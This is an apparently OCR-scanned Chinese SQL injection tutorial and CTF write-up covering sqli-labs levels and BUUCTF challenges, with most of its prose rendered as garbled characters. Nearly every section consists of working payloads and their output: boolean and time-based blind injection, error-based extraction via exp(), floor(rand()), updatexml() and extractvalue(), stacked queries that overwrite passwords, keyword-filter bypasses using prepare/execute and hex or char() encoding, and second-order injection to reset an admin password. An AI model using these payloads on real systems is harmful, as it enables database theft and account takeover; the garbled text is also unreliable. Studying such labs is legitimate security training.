ord=ascii ascii(x)=97 #¥W¥ixHasciifGREETF97
ord5ascii— &l RiliTasciifdRE ST M 5T FRFFEAT HIBT
select * from users where id = 1 and ord(left(database(),1))=115; --# HHBIBELWE L, WMESTassiifidmi11s

fi[asciifBfE11508 s ], MIREIEFHKE LR,
fEfasciifBi R R  FEEARIRR, AIRRSAFEDIE" " " B3 SHER, MRasciifiiEmA R EMMH RG] ST R5] 5.

fi /REIE - Sqlilabs-less53: A #]if
X B BB 44 A" security" KBNS AR B 1E B .

http://139.196.87.102:11207/Less-5/

o order by HI#7 2410 51 %



e

C @ O & 139.196.87.102

U deEeTe-an. [ akali

Welcome
Unknown column 4" in 'order clause’

http://139.196.87.102:11207/Less-5/?1d=1%27%20and%201ength(database())=7%20--+

£

c @ O & 139.196.87.102

1 € XEmeFa-ai. [akal

Welcome

http://139.196.87.102:11207/Less-5/?1d=1%27%20and%201length(database())=8%20--+

2

C @ O & 139.196.87.102

O JoE=eFa-ar.  [Dakal

Welcome
You are in...........




http://139.196.87.102:11207/Less-5/?1d=1%27%20and%201left(database(),1)=%27h%27%20- -+ %&i%
http://139.196.87.102:11207/Less-5/?1d=1%27%20and%201left(database(),1)=%270%27%20- -+ %&i%

http://139.196.87.102:11207/Less-5/?1d=1%27%20and%20left(database(),1)=%27s%27%20- -+ IEHf

Db

Q O R 139.196.87.102:11207/Less-5/7id=1" and left(database(),1)= ‘

HEeFL g8, Dakali

Welcome
You are in...

http://139.196.87.102:11207/Less-5/?id=1%27%20and%201left(database(),2)=%275c%27%20- -+ 4R
http://139.196.87.102:11207/Less-5/2id=1%27%20and%201left(database(),2)=%275d%27%20- -+ 4R

http://139.196.87.102:11207/Less-5/21d=1%27%20and%201left (database(),2)=%27se%27%20--+ 1L

C @ O 8 139.196.87.102

Dt

b dEEeFe -oaR. [ akali

Welcome
You arein...........

http://139.196.87.102:11207/Less-5/?id=1%27%20and%201eft (database(),8)=%27securitx%27%20- -+ %%

http://139.196.87.102:11207/Less-5/?1d=1%27%20and%201eft (database(),8)=%27security%27%20--+ IE#f



e

C @ O 8 139.196.8?.102:11207,’Less—54?id:1'and left(database(),8)="Taanme] -+

) kEEEFE-a18..  [Dakali e e

Welcome
You are in

http://139.196.87.102:11207/Less-5/?

id=1%27%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27securit
y%27%201imit%200,1),1,1)%3E%27c%27%20--+ IEHA

http://139.196.87.102:11207/Less-5/?
id=1%27%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27securit
y%27%201imit%200,1),1,1)%3E%27e%27%20--+ IEHf

O B 139.196.87.102:1

skali

Welcome
You are in...........

http://139.196.87.102:11207/Less-5/?
id=1%27%20and%20substr((select%20table name%20from%20information_schema.tables%20where%20table schema=%27securit
y%27%201imit%200,1),2,1)%3E%27n%27%20- -+ 4R

http://139.196.87.102:11207/Less-5/?
id=1%27%20and%20substr((select%20table name%20from%20information_schema.tables%20where%20table schema=%27securit
y%27%201imit%200,1),2,1)%3E%271%27%20--+ 1L

http://139.196.87.102:11207/Less-5/?
id=1%27%20and%20substr((select%20table name%20from%20information_schema.tables%20where%20table schema=%27securit
y%27%201imit%200,1),2,1)=%27m%27%20--+ 1L



QO 8 139.196.87.102

akali

Welcome
You are in...........

WKFERE, BRIE—AREKALA “email’

WHRE —AR[EXERE RS, RAMEAT imit 0,17, B NOFFETHE, FKEUE—AME BE; B DAX B IR A EZ IR
BIREEM “limit 1,17 TR ]

RSN BOE R WA F bk P B R, B BAVERBA R E — AN BIER, $8 4 bk K 2 array[0]5 — 4%, AOFF
4%, array[1P9 %8 — AN .. KK KHE. FHEESE"BHATR"HXER.

http://139.196.87.102:11207/Less-5/?
id=1%27%20and%20substr((select%20table name%20from%20information_schema.tables%20where%20table schema=%27securit
y%27%201imit%201,1),1,1)=%27q%27%20- -+ %%

http://139.196.87.102:11207/Less-5/?
1d=1%27%20and%20substr((select%20table name%20from%20information_schema.tables%20where%20table schema=%27securit
y%27%201imit%201,1),1,1)=%27r%27%20--+ 1L

O & 139.196.87.102:

kali

Welcome
You are in




=
Al
it

BREE
=4 X
ta#; 0.08, 0.08, 0.09
CPU (5%
A& 50% 993M/1.9G
e 0% 0/0
WE CPU &2
42.5M 2/ AliYunDun
21.7M 0.7 exe

83M | 0.7|sshd
0  0.3/ksoftirgd/0

my
o
[
o
I
|
|
(W
£
4

o BT RMBEHR —FN, XERAEEZHRT, KKATK—T.
A SR TIEANETME, 548 —JTR 0
i 1 B 1 - Sqlilabs-less973: A &

i 1) ZY ) B AR A R B R UL E T 2 — L, BR A B 5E Ak DA T B0 A R AN IE A ) 5] 2 75 BRI A if()" 21 0 i o s
“sleep()” FIPRERAT IRl A BN RAS RS R AR A BB B IR, KA T XFEEHE, FET ...

o K5 HuE A K KR8]

http://139.196.87.102:11207/Less-9/?id=1%27%20and%20if(length(database())%3E8,sleep(5),0)%20--+ 4%

http://139.196.87.102:11207/Less-9/?id=1%27%20and%20if(length(database())%3E7,sleep(5),0)%20--+ IEH
T A AL DU (B R R S, AT R L EAVA e KERT 8, TESMEE— T sk, EH e KERTTR, £
EA—EAERE, KBS TSP A MBI . U 280 H5E AL K E N8,
FIF if() sleep()I5 fREUHE 4 58 — N7 R N"s" B FE 4 N "security"]

http://139.196.87.102:11207/Less-9/?1d=1%27%20and%20if(left(database(),1)%3E%27q%27,sleep(5),0)%20--+ IEHf, T
T 570 Ji5 Wi 2

http://139.196.87.102:11207/Less-9/?1d=1%27%20and%20if(left(database(),1)%3E%275%27,sleep(5),0)%20--+ £5i%, W
TH P2 ) — T Bl P L

http://139.196.87.102:11207/Less-9/?1d=1%27%20and%20if(left(database(),1)=%27s%27,sleep(5),0)%20--+ IEHf, THS5
b I i

o JEffsecurityEH — KRB — DT

http://139.196.87.102:11207/Less-9/?

1d=1%27%20and%20if (substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27secu
rity%27%201imit%200,1),1,1)%3E%27c%27,sleep(2),0)%20--+ IEH, TIE 28 50N
http://139.196.87.102:11207/Less-9/?

1d=1%27%20and%20if (substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27secu
rity%27%201imit%200,1),1,1)=%27e%27,sleep(2),0)%20--+



O 8 139.19687.102:11207fLess-9/%id=1" and if(substr(select table_na

ali

Welcome
You are in

(X B H e R B R 2 TMYSQL]

J 2L 38 5 P R R R B B IR SR A A S B SRR B A W Bt . X SRR IR R B 7 AR5 B T RE ik B 3L
S HHE, BATT AR AR~ MEEEESHHRARMNKBEZKE B SQLIER, B TERKNITES K E3REH
HIRATEZ I SQLIB A M tH 45 3 .

I 32l 55 4% 7% T Jo R AE15 BB 1B R R A A R I IR B IR AR5 2 o 75 U TC (3 4R A B T AT VE AR

L R 4

exp() iB¥:exp(int) ERMA: 5.5.5~5.5.49

floor()+rand() f#RJ#%E: % &count(*), rand(). group by, =FHEHR—FT. [HTFX]

updatexml() Ei¥iE#k: updatexml(XML_document, XPath_string, new_value); @EMMA: 5.1.5+

extractvalue() B%UB¥E: EXTRACTVALUE (XML_document, XPath_string); ERMA: 5.1.5+

H W Eexp()F) Hpayload# 3 exp(~(select * from(select user())a))

B fexp() 2R BRI 45 R, RI7 RN, Hokar i 45 R B8 A < R K (ERMYSQLEER ik X fdouble BB E B A R, — BL45 R
i v U A

exp(~(select * from(select database())a))

XER O~ BEM [-nFEHRE] , SBFRRLEBERREREL REEEElexp() RN, BRI REBEMYSQLAIdouble A TEH,
REM AT AR

ETERRENTERNRR:

1. BE#H select user() XEMEMIEH, BXEMEAHRMEBIBEN—ANLERE LN a
2. B select * from a &ifla , K & RHEa £FTWHR;XENIFERKRE, HARNEHAKREARNMselect*from LERBERH .

kiR payload Hfi(select database())R LA MEBREE W EMIEANME, FENFHTEEREEREANTE .

24| - Sqlilabs-less5



http://139.196.87.102:11207/Less-5/?1d=1%27%20and%20exp (~(select%20*%20from(select¥%20database())a))%20--+

O & 139.196.87.102:11207/Less-5
3 akali

£

Welcome
DOUBLE value is out of range in "exp(~((select 'security’ from dual)))’

http://139.196.87.102:11207/Less-5/?1d=1%27%20and%20exp (~
(select%20*%20from(select%20group_concat(table_name)%20from%2@information_schema.tables%20where%20table_schema=%
27security%27)a))%20--+

O 8 139.196.87.102:11207/

kali

Welcome
DOUBLE value is out of range in 'exp(~((select|'emails,referers,uagents,users’ from dual)))’

HERFERFRANEBRRNTITRBELSE. HBMySQLKE F L, group byEZ S ITHREE, F—RkKE£Zgroup by K
FERAIEMERP XX LR, BN group by/sHEHKE; 2 k2R group by/s i K FBRIELEEMR P AFLE,

FRATEREHAINEDRD, XEEHANSETE_KEHE, HFrandBBEFEE—CHBENE, FIUE_RESHK
ZRBREE - RKEENERES B, HRXNMEHENERTREBHURICEFET, BAXNKHEALRSB LR
MES, #Hm5lRER.



PS:RARA KGO, LHFIEAERE?

%FE—TET floor()ik 4 HISQLIES)

select count(*), (concat(floor(rand(@)*2), (select version())))x from user group by Xx;

floor R HIE R 2R Bl /N T T2 E KR OB H, ] AN THUE, RREEIES .

rand () RET LA RSRAEROS1, HEZrand(0)fMrand()ERE AKX HK, rand(0)HHTF4Hrand() BEfEET —1SH,
MRJGrand () B SBITEORX NS HBATRENERE. rand () ERNE TR LN, Mrand(0)REMBKER, XthE
Ftt 2B A 1 payload IR rand(0).

countR— it H K%

group bylBHIHTEEETHRE, WE—NHBANFIXN G REHITHA.

IR, 2 H Twhere X AT —IK, rand R SHAT —IK, WIRTEH FER T EIEN AWK EAREIHSHE, #Hrand()
AR JE 2 #Eorder/group by k..
EEEREAEREEFAIZ LU LRIERN B —EESHhiE. B2HREFT Ecount(*). rand(). group by=2&—Fn

sz4| - Sqlilabs-less1

http://139.196.87.102:11207/Less-1/?id=1?
1d=1%27%200r%20(select%201%20from(select%20count(*),concat(%20floor(rand(0)*2),0x7e,
(database()),0x7e)x%20from%20information_schema.character_sets%20group%20by%20x)a)--+

O 8 139.196.87.102:11207/Less-1/%id= I or (select 1 from{select count(*),concat{ floor{rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)--+ I

kali

Welcome
Duplicate entry '1~security~' for key 'group key'

http://139.196.87.102:11207/Less-1/?id=1?1d=1%27%20union%20Select%201, count(*),concat(@x3a,0x3a,
(select%20table_name%20from%20information_schema.tables%20where%20table schema=%27security%27%201imit%200,1),0x3
a,0x3a,floor(rand(0)*2))a%20from%»20information_schema.columns?%20group%20by%20a- -+



9 139.196.87.102 L ? | , o : : 5 ST |¥¥

Welcome
Duplicate entry :emails::1" for key 'group_key'

O & 139.196.87.102:112 : C 3 I ) : - P

ali

Welcome
Duplicate entry ":referers:1" for key 'group_key'

BRFEYE: and updatexml (XML_document, XPath_string, new_value);

ERRRA5.1.5+
MiEZE EERNMNFEEEE - ASBESRINEBE AN AR
HiREFEHABRN A FEES NS AR EXPATHES R A 2 B AT 7= A 1R 4 .

sz - Sqlilabs-less5

http://139.196.87.102:11207/Less-5/?1d=1%27%20and%20updatexml (1, concat(@x7e, (select%20database()),0x7e),1)%20--

+



O & 139.196.87.102 7 5 | : e = |

kali

Welcome
XPATH syntax error: '~security~'

http://139.196.87.102:11207/Less-5/?1d=1%27%20and%20updatexml (1, concat(0x7e,
(select%20group_concat(table name)%20from%20information_schema.tables%20where%20table schema=%27security%27),0x7
e),1)%20--+

O 8 139.196.87.102

wali

Welcome
XPATH syntax error: '~emails,referers,uagents,users~'

PRFEYE: extractvalue (XML_document, XPath_string);

& F R AR:5.1.5+
JE ¥ Hupdatexml()F [

24| - Sqlilabs-less5



O 8 139.196.87.102

Welcome
XPATH syntax error: '~security~'

JUTER#

GeometryCollection: id=1 AND GeometryCollection((select * from (select* from(select user())a)b))

polygon(): id=1 AND polygon((select * from(select * from(select user())a)b))

multipoint(): id=1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring(): id=1 AND multilinestring((select * from(select * from(select user())a)b))

linestring(): id=1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon() : id=1 AND multipolygon((select * from(select * from(select user())a)b))

AHEAERES - W select database-test()

BEfEE A —BIANFEAE R R 4, 7T e 75 B =5 Al B e B e B 2 7R

BigintHi{E#e1k:
Hmysql BB FE R L FBUER TR EEER, SRENEE.
~07B 45 8. 18446744073709551615

EUWHSHEE, NREHSER.

payload: select !(select * from(select user())a)-~0;

name_const() {NATEUEIEERAE B

payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a



uuidMXm% - ERMRA: 8.0.x
SR IER

mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

GTIDMXEH - ZHAX AN IEH.
mysql>select gtid_subset(user(),1);

mysql>select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
mysqgl>select gtid_subtract((select * from(select user())a),1);

JRU 2 B R 1 25 2K R R AT

EL 4 "mysql_multi_query()" B % SCHF £ 5515 ) Rl BT

R~ select * from table_name;show version;
RERRGRIE, BATRAT LAPAT L 2 [ R T M ]

TRAEBE KA P R B FF 2 KB A PAT(AREEIE ER R P RE XL KBANIAT, WREEERBAIFL XIEAN
AT, Big LR AFEAEESIEANRERLE . mysql. SQL-Server. PostgreSQL3 #F, Oracle N3 #).

1. EENASHRD ESENBINLMBLY, RBLLAECTFREEDBR. FEFRE, BBEANFHAEERMGEE
RETRLZE APL BUEESI ERENRKESH . RASHEHRBEERBFIITZ X BIPATHRNRERS TR .

2. A H mysql_multi_query ()& sk 3215 £ % SQLIE A R i $ 47,52 Br 15 Bt o i PHP ) Bl SQLA: A ALl 344 I i 2038 e
BEA "mysqli_query()"Ri¥. FUREBEANEHFALBEERBRE. B BB, ERIGEURER
EXK.

RYER RS, BAIEH 38K AHEREN, WHWT.

O 8 139.196.87.102:11207/Less-38 e
7 akali

Welcome
Your Username is : Dumb
Your Password is : Dumb




A BN T, BATE 6 R% I AR EIEE, FHITH - NEH LRI payload "2id=1"; 8 = 4&SQUIEA --
+" B "?id=1; P HKSQLIEA) --+"

(32 C @ O B 139.196.87.102

B © JeExeFs-aR. [Dakali

Welcome
Your Username is : Dumb
Your Password is : Dumb

¥ DEEE Desae DifAs NEE (Qafsss: Ou Onar B &E « TSk UEEs
v
</ /1 HTML iti '/EN w. w3 .org/TR/xhiml1/0TD/xhiml1-transitional .atd">

margin-top:7@px;color:#FFF; font-size:23px; text-align:center™>

lor="#F Feeee™>Dhakkan«</font>

B
Your Password is : Dumb ‘h—____

<br>

MITHE B E 200 2R B - FE S 5 “Dumb/Dumb”, A1 B 0 281 FH 7 ZER FH I F A F B “username”. “password”;

BERMNZA - TREBIEE. R, SIBFHREL.

http://139.196.87.102:11207/Less-38/?21d=1%27%20and%20exp (~(select%20*%20from(select¥%20database())a));%20--+

2

& 139.196.87.102 8/?id I ; (0]

Welcome .

DOUBLE value is out of range in 'exp(~((select 'securit)" from dual)))'




http://139.196.87.102:11207/Less-38/?1d=1%27%20and%20exp (~
(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table schema=%
27security%27)a));%20--+

J R 139.196.87.102 %id=1" and exp(~ elect able n - . oy

Dt

Welcome
DOUBLE value is out of range in 'exp(~((select 'emails,referers,uagents,users’ ﬁ%m dual)))'

http://139.196.87.102:11207/Less-38/?1d=1%27%20and%20exp (~
(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table name=%

27users%27)a));%20--+

O & 139.196.87.102 1" ar ¢ : : . Som— o

D

akali

Welcome Ay
DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))’

OK! X B IRATIAE T RATHIAEEE, users BIASLTEAE “username”. “password” [i% = E#SZm] LA AR ENT =, BRI
173 BLIGIE f 2 HE By N\ A TR B

HiEHE B FE N Wpayload ?id=1"; update users set password = 'Dumb' where username = 'Dumb'; --+



O & 139.196.87.102

Welcome

Your Username is : Dumb

Your Password is : Dumb001
h b

o EREHAE P UARREZRIENHAELEAL T

http://dc9ea746-0394-4167-9al17-9fcf60d17645.node4.buuoj.cn/?inject=1%27%200rder%20by%202%20- -+

&« C @ QO 8 buuoj.cn

@ Em € JeEReFa-ar. Oakal
B FERAEERIREE, Rii—0iE: ARNRZSR—40

array(2) |
[0]=>»
string(1) 717
[1]=>
string (7) "hahahah”

o BREHEM

http://dc9ea746-0394-4167-9a17-9fcf60d17645.node4 . .buuoj.cn/?inject=1%27%20and%201=22%20union%20select%201, 2%20-

-+


https://buuoj.cn/challenges

« C @ O 8 dc9ea746-0394-4167-9a17-9fcf60d 17645.node4.buunj.cn/?inject=1" and 1=22 union select 1,2 —+

Q=T U ER2TE-gR.  [Dakal

W FEREEHIREE, RQii—aiE: ARNRER—A0

z (1 == ST S5T ST

Ireturn prez_match(”/select |update|delete |drop |insert [where|Y. /17, $inject); I

MBS AR RN T — 87 E A 558 7 [selectlupdate|delete|droplinsertiwhere], 58 =7 i 24 F st BATTVE N B 2 0 1R
Ko

LR BVEN Wi payload 8 B H4E B & f1E& 4

1';show databases;show tables;



&« C @ O B dc9ea746-0394-4167-9a17-9fcf60d 17645.noded.buuoj.cn/?inject=1";show databases;show tables;

Q@xm © JE=eTe-gr. Dakali

B FRRELHREE, Rii—iE: ARARSR—F

=5 Sl |smmrng |

array(2) {

[0]=>

string(l} 17

[1]=»

strins(7) "hshsheh”
i

array(l) {
[0]=>
string(11) "ctftraining”

b

array(l) {
[0]=>
string{18} "information_schema”

b

array (1} {
[0]=»

string(5) "mrsl”

array (1} {
[0
string{18) "performance_schema”

b

array (1} {
[0]=»
string(9) "supersqli”

b

array (1} {
[0]=»
string(4) "test”

}

array(l) {

[01=»

string(18) "1919810931114514"
i
array (1} {

[0+ -
string(d) “words” /
i

WIS B B8R B A2 R SR R B A A4S B ERR R P, Ui B Flag gt 7E 1X i3 o I i — N (ELR B LB AU ) R B 7 3L
WERT, ZEAR?

BIRLE RINTUEE— FRNEW B8fagh 8. PIERNBEH Efag?E 1919810931114514 E]



<« 2 @ O B dc9ea746-0394-4167-9a17-9fcf60d17645.noded buuoj.cn/?inject=1"show tables;desc[ 1919810931114514";—+

Gxm € kE=eTFs ar. [Dakali

MATFRRELHREE, Rii—9i5: ARNRZSR—FH

Bl |[mw

array(2) |
[0=>
string(l) "17
[1]=>
string(7) “hshshsh”

FEEg5IE () 2. £ F3|. PSS ES|I B
eg. mysql> SELECT * FROM “table” WHERE "id" = "123";

1919810931 114514%RMARSS |SHEiEE, (BRwordstEE, WiZETHiEERExX

array (1) {
[01->
string (16} "1919810931114514"

array (1) {
[01=>
string(3) "words"

arzay (8] {
[03->
string(4) "flag” b—__
[11->
string(12) "varchar (100}
[2]->
string(2) “NO”
[31=>
stzing(0) 77
[41=»
NULL
[61=>
stzing (0} 77

nf et i I8 9 5 B 718 Blflag e ?

X BLIRATT AT CLE B8 R I FAL iR ) +SQLIE ) KB Fam g+ HEBTEN BT R

FRMA BT HAEIER
prepare name from SQLiEf] # g L SQLIEA]

execute name # PAT TR EA]

(DEALLOCATE || DROP) PREPARE name; # MRS E iEH

PixE i At v LUE I 2 B 07 R AT

SET @tn = 'table_name' # EERSA

SET @sql = concat('select * from', @tn); # fEFFSQLIEA]

prepare name from @sql; # Fise iES)

execute name; # PAT TR EA]

(DEALLOCATE || DROP) prepare @sql; # MIBRTE L SQLiEH]



FESERT AR char() HfCKselectASCITI#H NselectE/Fa, BEFMHconcat () REUEITHER FlselectEMIEHA), Mgedid
. HEEEMconcat () it EEselectkSid,

char(115,101,108,101,99,116)<----- >'select’

HE WA DR 16 HI5RD select HHIFH, SATAEEFERT

';SeT @sql=0x73656c656374202a206672616d20603139313938313039333131313435313460;prepare execsql from @sql;execute

execsql; --+

o A B HiAb B payload

“1';prepare name from concat(char(115,101,108,101,99,116), ' * from ~1919810931114514° ');execute name; --+"

< C @ O & dc9ea746-0394-4167-9a17-9fcf60d17645.node4.buuoj.cn/inject=1";prepare name from concat(char(115,101,108,101,99,116), ' * from “1919810931114514
GEm U JeEEeFa-ar. Dkl

BHFRXEIRERE, RiR—0i5: FRNRSR—F
=

arrar(2) {
[01-»
strinz(l) 717
[1]=>
string(7T) “hahshsh”
1

arrar (1) {
0l->

string(42) “Zlea{f126e41T-260T-4ia)-b51an0BAITTI0S) " g
1

o AR E T2 ¥ payload

©';SET @sql=concat(char(115,101,108,101,99,116),"'* from ~1919810931114514" ');prepare name from @sql;execute name

; -+

&« C o O & dcSea746-0394-4167-9a17-9fcf60d17645.noded.buuoj.cn/?inject=1SET @sql=concat(char(115,101,108,101,99,116),"* from "1919810931114514");prepare 7
QI C wEmeFa-ar. Dakl

RAFEXRLHRSE, Rii—0iE: ARIESR—FT

el |[ee=s

srzar(@) |
[01-»
string(1) "17
[1]-»
strins(7) “hehshah”

arzar(l) {
[0]=>

string(42) "flas[£136e417-2627—4da0-b51a-40£3£37T15de]} "

o H g F contact(), A~ F char()



“1';prepare name from concat('s','elect', ' * from ~1919810931114514° ');execute name; --+"

&« C @ O 8 dc9ear46-0394-4167-9a17-9fcf60d17645.noded.buucj.cn/?inject=11';prepare name from concat('s’,‘'elect’,

QIR C KE=eFe-ar. Dakal

BEHFRAELHIRSE, Rii—9i5: FRNRTER—F

= E=="1

* from "1919810931114514" J;execute name; -+ 70% [

arzar (1] {
T0l->

101- /
string{42) "flag{f136417-2£27-4da0-b51a-40£353771%da} "
¥

o FIFH 163 H4mAY select BB, 44 AL BIEA) 5

http://dc9ea746-0394-4167-9a17-9fcf60d17645.node4.buuoj.cn/?inject=1";SeT

@sql=0x73656c65637420222066726Ff6d20603139313938313039333131313435313460;prepare name from @sql;execute name; --

+

&= C @ QO 8 dc9ear46-0394-4167-9a17-9fcf60d17645.noded.buuoj.cn/?inject=1'SeT @sql=0x73656c656374202a20667266d2060313931393831303933313131343531 7

Oxrm € JeEmeFs ol [Dakal

BRFRRAELHREE, Rii—9iE: ARNR2R—F

= =)

arrar(2) {
[0]=>
strinz(l} 717
[1]=>
string(7) "hahshah”

arxar(1) {
[o]=>

string(42) “flaglf126e41T 2527 4dal b5la 40343771 5de] " /—
1

ZREA
— R - RSB ETAREA.

M AR R T ESRBHEBARAGKEN QEAR—MaE, ZHEEE EFER R,

FHEN, BEAL)

] AR AR A B G ) R R e A R B, B BB MR BURE R € K37 R AT SQLE B A BT S BUKE A LT

JR 2

1. ZAPRABRSEEEN, MNRISANEZRRBTIT TR REEHEIIHEE.

2. CEFEIBIRERSEE, BATHZEK . ZEREIRE—EHR&M T, i Zweb R /5 V8 A7 i 78 50 B b 10 B BRI T
SQLEHINY, BABRE UERREARTE - PHRBRLE. RER T ZRKEN. [ ZHREARE — KB aEARIR KRB d 8]

“REAN LB - Sqlilabs-less24



TEXRFHE, FATEZ “New User click here” J: M 8T PRI T, Hr3f FH P FERIERD “insert” iB84]), X BIRA1A] LLE F& anfa) 4 %
BEiBRWABIEE.

O R o 139.196.87.102 1]

£

| akali

Please Login to Continue

a—

Forgot your password? || New User click here?

O & 139.196.87.102

ali

Register [ghi

AV R B — T, K EFFERHTIE FH - 1 “insert” 4]

insert into user (username,password,...)values(valuel,values2,...);



FRREFEN — T2 %55 /) “update” iEH] .
update user set password=valuel where username = 'username' and password = oldpassword;
X BBV, AT R G H) I R LA T B WK — %A LR BB 2 “username” .

OK, X B A E—MERBEANMH 4, EHEDIT ‘update” IEQIKIFHMRIER A& . adming

Less-24

Desired Username:

Password: Q)

Retype Password: LT

YOU ARE LOGGED IN AS

admin'#

You can Change your password here.

https:/iblog.csdn.net/

P2 R



2 b W i

YOU ARE LOGGED IN AS

admin'#

You can Change your password here.

Current Password: jikk]

New Password: ELTTIT]

Retype Password: [LLTITT

XBERASHT— T RE admin'# KiE4)
update user set password=123456 where username = 'admin'#' and password = 123;
ALEE # EREHREEREE AT EEZE T admin K5 %S4 123456,

ZREF admin iR .

YOU ARE LOGGED IN AS

admin

You can Change your password here.
https://

R R, Ui A48 B TR AL I % B R AT IR T .

DA gt R — A TRT B B — R N BE 37 R A


https://imgtu.com/i/RqNlKU

TR EM-BEFAEH (insert-select-update)
EIEN -1 Payload-#i & i J8-E ¥ H i Payload

EEBE BMNFHTRE, RIATLER TS "LOGIN. REGISTER'FHAIEE. SLiEM— MK EEFiRK. “testitest”

username: test |

password: |test |

email: |test |

| Submit |

REBEF RIENBBUNANF LR, ridE RIE A “change_password” Thfk.

oldpass: | |

newpass: | |

| Submit |

BRBH ) update 184) 7] LA 2 I 4E B BT #E7E username. password iME &, 1HE —fkpassword fE7E N B, FrLlx B
ZERA AR R A username T .

update user set password=valuel where username = 'username' and password = oldpassword;
WA RN ZE A IE— B R username
test” or updatexml(1,concat(@x7e, (version())),0)#

EM R, B R TIEIE, KRAIK username XM — THEELIE T WL KR Y. [RITIEKIR or MR HETIE]



@

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload
positions - see help for full details.

Attack type: [ Sniper

N

4 Accept: text/html,application/xhtml+xml, application/xml;cq=0.9, image/webp, */*;q=0.8

5 Aeceept-Language: zh-CHN, zh:g=0.8, 2h-TW:qq=0.7, eh-HK;q=0.5,en-U5;q=0.3,en;q=0.2

& Aoeept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

2 Content-Length: 128

Origin: http://49=a7bcd-422d-4d89-a487-07fcdec51lefE. noded . buuoj.cn

10 Connection: close

11 Beferer: http://45=a7bcd-422d-4d89-a487-07fcdec5leff . noded. . buuoj.cn/register..php

12 Cookie: UM distinctid=1l7a7ce87=20da-02523448dee34e8-4c3fId73-1£a400-17a7ce57e0e54bh; PHPSESSID=
jvpallepqigralgngarbElSlD

13 Upgrade-Insecure-Reguests: 1

)

4
'_.1 username=5testuseriZi+or+updatexml ZB81%ZCconcatsZ80x7esZC528versions28%295%529%2952C0%2952 3§I;1Jassword=123‘156&

ITI-CESCUS L v 2O - co

11|

[ Dashboard ITarget T Proxy Ilntmder T Repeater T Sequencer T Decoder I Comparer T Extend

1

w | 2 =

[Target I Positions T Payloads T Options ]

Payload set: [‘1 |v] Payload count: 10

Payload type: [Simple list |v] Request count: 10

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste test l;

Load ...
ﬂj updatexml
Clear (
concat X
Add Enter a new item
| Add from list __. 50|

MEE REE B0 EEN EEH)

15

184
163
148
140

or 200 false false 496

\_ 429 false false 321
updatexml 429 false false 321
concat 429 false false 321

0x7e 429 false false 321

Start attack

 Adds
Clear §
Auto §
Refresh



Send Cancel < |v > | Target: http://49eaTbcd-422d-4d89-a487-07fcdeci1eb6.noded.buuoj.cn / @

Request Response
JRawT Params I Headers | Hex J RawT Headers | Hex | HTML I Render ]
= = . =
textfhtml,applicationﬁxhtml+xml,applicationﬁxml:q=D.9,imagefu|‘ 1 HTTP/L1.1l 200 OK |
ebp, */*rg=0.8 Z Server: Openresty r
5 Accept-Language: 3 Date: Wed, 07 Jul Z0Z1 18:459:24 GMT

zh-CHN, zh; q=0.8, zh-TW; q=0.7, zh-HE; ¢=0.5, en-US; q=0.3, en; q=0.2 Content-Type: text/html; charset=UTF-3
& Accept-Encoding: gzip, deflate Content-Length: 281

Content-Type: application/x-www—form—urlencoded Connection: close

2 Content-Length: 58 7 Vary: Accept-Encoding

1 m N

S Origim: 2 K-Powered-By: PHP/5.5.9-lubuntu4.z8
http://49=a7hcd-422d-4d8%-a487-07fcdecSlefb. noded . buucj.cn g

10 Connection: close 10 <form action="register.php" method="post"><p>ussrnames: <

11 Referer: input type="text" name="usesrnams" /></pr<prpasswvord: <input
http://49aThed-422d-4d89-a487-07fedec51ef6. noded . buuod.cn/ re type="text" name="password" /></premail: <input type="text"
gister.php name="email" /></pr<input type="submit" valus="3Submit" /z</

12 Cookie: UM distinctid= formr<scriptralert('invalid string!')</scripts
17a7ce97e0da-02523448de
FHPSESSID=jvpallepgis

L2 Upgrade-Insecure-Re

4e8-4c3fId73-1fa400-17a7ce87e0e54h;
19gl7arbelalo
sts: 1

L5 username=testusesr

password=1Z3456&email=testusers40cqqg. com |v

@ < + > Type a search term 0 matches @ < + > Type a search ferm 0 matches

BESRBRME T or HT, FATAT LA A (OBEESALY v Rt AT s R aRis 3, AT AR or]
BRI A P A6 [T ]

test"~updatexml(1,concat(0x7e, (database())),0)#

Hitest" ~updatexml(1,concat(0x7e,(database())).0)#

BN, PATAREE G H R AR R P 4]

oldpass: |t(0x7e,(database())),0)# |

newpass: |111 |

| Submit |

XPATH syntax error: '~web_sgli’

OK! FRWAT, AT A AEAFKEEH 4, ZEoldpassword 77 i ATIEN I Hiflag !



test"~updatexml (1, concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_schema
=database()))),1)#

test"~updatexml(1,concat(@x7e, (select(group_concat(column_name))from(information_schema.columns)where(table_name
='flag'))),)#

test"~updatexml(1,concat(@x7e, (select(group_concat(flag))from(flag))),1)#

test"~updatexml(1,concat(@x3a, (select(group_concat(column_name))from(information_schema.columns)where(table_name
='users')&&(column_name)regexp('~r'))),1)#

test"~updatexml(1,concat(0x3a, (select(group_concat(real_flag 1s_here))from(users))),1)#

test"~updatexml(1,concat(0x3a, (select(group_concat(real_flag 1s_here))from(users)where(real_flag 1s_here)regexp(
)Y,

test"~updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_ 1s_here))from(users)where(real_flag 1s_here
Jregexp(‘~f')))),1)#

DnslogiE A (EAFIHZ RN, K44 LB %)

RS, LS. BTEASME, ERBHRUSME, EESIdnsiA R,
2R Windows iR %5 58 . FEA ST Uty i« N AU TR BEAUR L T HAT S A

